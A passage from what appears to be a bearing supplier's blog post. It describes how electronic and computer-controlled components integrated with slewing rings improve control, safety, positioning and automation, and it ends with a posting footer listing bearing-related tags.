safe operation, prevents over-rotation, and protects the equipment and
personnel.

By integrating electronic or computer-controlled components with slewing rings,
modern applications can achieve enhanced control, precision, automation, and
data-driven optimization. This integration allows for efficient operation,
improved safety, accurate positioning, synchronization with other systems, and
the ability to adapt to changing operational requirements. It paves the way for
advanced technologies such as robotics, Internet of Things (IoT), and Industry
4.0, where slewing rings play a vital role in the seamless integration of
mechanical and electronic systems.

editor by Dream 2024-05-16

This entry was posted in Uncategorized and tagged bearing, bearing china,
bearing replacement, bearing slewing ring, china bearing bearing, excavator
bearing, high bearing, ring slewing bearing, slewing bearing, slewing ring
bearing on May 16, 2024 by ep.

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